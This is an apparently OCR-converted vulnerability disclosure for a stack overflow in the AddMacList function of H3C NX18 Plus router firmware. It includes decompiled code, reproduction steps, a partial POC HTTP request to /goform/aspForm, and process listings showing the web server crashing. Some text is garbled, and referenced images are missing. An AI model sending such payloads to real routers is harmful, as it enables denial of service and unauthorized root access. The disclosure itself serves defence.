

stack overflow vulnerability

Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d_202103/1389284_30005_0.htm

Product Information

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview:



Vulnerability details

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the AddMacList function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
int v22[36]; // [sp+128h] [-104h] BYREF
22
23
     char v23[32]: // [sp+1B8h] [-74h] BYREF
24
     char v24[32]; // [sp+1D8h] [-54h] BYREF
25
     char v25[32]; // [sp+1F8h] [-34h] BYREF
     char v26[8]; // [sp+218h] [-14h] BYREF
26
27
     int v27[3]; // [sp+220h] [-Ch] BYREF
28
29
     memset(v25, 0, sizeof(v25));
     memset(v24, 0, sizeof(v24));
30
31
     \vee 27[0] = 0;
32
    v2 = websgetvar(a1,
                           'param",
33
     if ( V2 )
34
       v3 = (const char *)v2;
35
36
       memset(v23, 0, sizeof(v23));
      sscan<sup>†</sup>(v3, "%[^;];", v23);
37
38
       V4 = strlen(V23);
```

In the AddMacList function, the param we entered is formatted using the sscanf function and in the form of %[^;]; . This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V23, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by qemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

POST /goform/aspForm HTTP/1.1

Host: 192.168.124.1:80

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101

Firefox/102.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: https://121.226.152.63:8443/router_password_mobile.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 536

Origin: https://192.168.124.1:80

DNT: 1

Connection: close

Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true

Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

```
1793 *root 820 S /bin/dhcpd -d -q br0
1842 *root 1692 S upnpd /var/run/upnp_385875969 br0 WAN1
2245 *root SW [kworker/0:1]
2270 *root SW [kworker/1:1]
2543 *root SW [kworker/3:1]
2550 *root SW [kworker/2:2]
2649 *root SW [kworker/0:0]
2797 *root SW [kworker/u8:0]
3091 *root 756 S -mwcli
3094 *root 1552 S /bin/sh
3111 *root 5188 S /bin/webs &
3242 *root 828 R ps
26984 *root 1036 S telnetd
```

The picture above shows the process information before we send poc.

```
1729 *root 820 S /btn/dhcpd -d -q br0

1842 *root 1692 S upnpd /var/run/upnp_385875969 br0 WAN1

2245 *root SW [kworker/0:1]

2270 *root SW [kworker/1:1]

2543 *root SW [kworker/3:1]

2550 *root SW [kworker/2:2]

2649 *root SW [kworker/0:0]

2797 *root SW [kworker/u8:0]

3091 *root 756 S -mwcli

3094 *root 1552 S /btn/sh

3259 *root 4336 S /btn/webs &


3263 *root 764 R ps

26984 *root 1036 R telnetd
```

In the picture above, we can see that the PID has changed since we sent the POC.



The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.